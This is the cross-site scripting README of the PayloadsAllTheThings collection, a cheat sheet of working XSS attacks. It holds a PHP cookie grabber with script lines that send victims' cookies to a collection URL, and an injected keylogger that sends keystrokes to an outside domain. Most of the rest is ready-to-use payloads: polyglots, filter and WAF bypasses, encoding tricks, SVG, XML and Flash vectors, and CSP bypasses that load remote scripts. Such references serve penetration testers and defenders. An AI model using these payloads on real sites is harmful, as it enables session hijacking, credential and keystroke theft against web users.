PayloadsAllTheThings/XSS injection/README.md

# Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

- [Exploit code or POC](#exploit-code-or-poc)
- [Identify an XSS endpoint](#identify-an-xss-endpoint)
- [XSS in HTML/Applications](#xss-in-htmlapplications)
- [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri)
- [XSS in files (XML/SVG/CSS/Flash/Markdown)](#xss-in-files)
- [Polyglot XSS](#polyglot-xss)
- [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads)
- [CSP Bypas](#csp-bypass)
- [Common WAF Bypas](#common-waf-bypass)

## Exploit code or POC

Cookie grabber for XSS

```php
<?php
// How to use it
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
or
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>
```

Keylogger for XSS

```javascript
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all):

- [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)
- [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/)
- [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
- [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
- [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
- [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)

## Identify an XSS endpoint

```javascript
<script>debugger;</script>
```

## XSS in HTML/Applications

XSS Basic

```javascript
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
```

XSS for HTML5

```javascript
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.
```

XSS using script tag (external payload)

```javascript
<script src=14.rs>
you can also specify an arbitratry payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
```

XSS in META tag

```javascript
Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

With an additional URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

XSS in Hidden input

```javascript
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
```

DOM XSS

```javascript
#"><img src=/ onerror=alert(2)>
```

XSS in JS Context (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)

```javascript
-(confirm)(document.domain)//
; alert(1);//
```

XSS URL

```javascript
URL/<svg onload=alert(1)>
URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)>
```

## XSS in wrappers javascript and data URI

XSS with javascript:

```javascript
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```

XSS with data:

```javascript
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```

XSS with vbscript: only IE

```javascript
vbscript:msgbox("XSS")
```

## XSS in files

** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

```xml
<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```

XSS in XML

```xml
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
```

XSS in SVG

```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

XSS in SVG (short)

```javascript
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
```

XSS in Markdown

```csharp
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```

XSS in SWF flash application

```powershell
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
```

more payloads in ./files

XSS in SWF flash application

```
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
```

XSS in CSS

```html
<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>
```

## Polyglot XSS

Polyglot XSS - 0xsobky

```javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

Polyglot XSS - Ashar Javed

```javascript
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```

Polyglot XSS - Mathias Karlsson

```javascript
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
```

Polyglot XSS - Rsnake

```javascript
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

Polyglot XSS - Daniel Miessler

```javascript
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
```

Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514)
![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg)

```javascript
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
```

![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large)

```javascript
<svg%0Ao%00nload=%09((pro\u006dpt))()//
```

Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml)

```javascript
# by crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

# by europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>

# by EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

# by h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
```

## Filter Bypass and exotic payloads

Bypass case sensitive

```javascript
<sCrIpt>alert(1)</ScRipt>
```

Bypass tag blacklist

```javascript
<script x>
<script x>alert('XSS')<script y>
```

Bypass word blacklist with code evaluation

```javascript
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass with incomplete html tag - IE/Firefox/Chrome/Safari

```javascript
<img src='1' onerror='alert(0)' <
```

Bypass quotes for string

```javascript
String.fromCharCode(88,83,83)
```

Bypass quotes in script tag

```javascript
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>
```

Bypass quotes in mousedown event

```javascript
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

You can bypass a single quote with &#39; in an on mousedown event handler
```

Bypass dot filter

```javascript
<script>window['alert'](document['domain'])<script>
```

Bypass parenthesis for string - Firefox/Opera

```javascript
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
```

Bypass onxxxx= blacklist

```javascript
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
```

Bypass onxxx= filter with a null byte/vertical tab - IE/Safari

```javascript
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
```

Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari

```javascript
<img src='1' onerror/=alert(0) />
```

Bypass space filter with "/" - IE/Firefox/Chrome/Safari

```javascript
<img/src='1'/onerror=alert(0)>
```

Bypass space filter with 0x0c/^L

```javascript
<svgonload=alert(1)>


$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
```

Bypass document blacklist

```javascript
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
```

Bypass using javascript inside a string

```javascript
<script>
foo="text </script><script>alert(1)</script>";
</script>
```

Bypass using an alternate way to redirect

```javascript
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
```

Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040)

```javascript
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
```

Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464)

```javascript
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass using an alternate way to trigger an alert

```javascript
var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);
```

Bypass ">" using nothing #trololo (you don't need to close your tags)

```javascript
<svg onload=alert(1)//
```

Bypass ';' using another character

```javascript
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```

Bypass using HTML encoding

```javascript
%26%2397;lert(1)
```

Bypass using [Katakana](https://github.com/aemkei/katakana.js)

```javascript
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
```

Bypass using Octal encoding

```javascript
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
```

Bypass using Unicode

```javascript
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESSTHAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
```

Bypass using Unicode converted to uppercase

```javascript
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
```

Bypass using overlong UTF-8

```javascript
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```

Bypass using UTF-7

```javascript
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
```

Bypass using UTF-16be

```javascript
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
```

Bypass using UTF-32

```js
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
BOM character allows you to override charset of the page

```js
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```


Bypass using weird encoding or native interpretation to hide the payload (alert())

```javascript
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```

Exotic payloads

```javascript
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
```

## CSP Bypass

Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://blog.thomasorlita.cz/vulns/google-csp-evaluator/)

### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27))

//google.com/complete/search?client=chrome&jsonp=alert(1);

```js
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
```

### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)

Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)

```js
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
```

### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)

```js
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://swk.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
```

### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen)

Works for CSP like `script-src self`

```js
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
```

## Common WAF Bypass

### Chrome Auditor - 9th august

```javascript
</script><svg><script>alert(1)-%26apos%3B
```

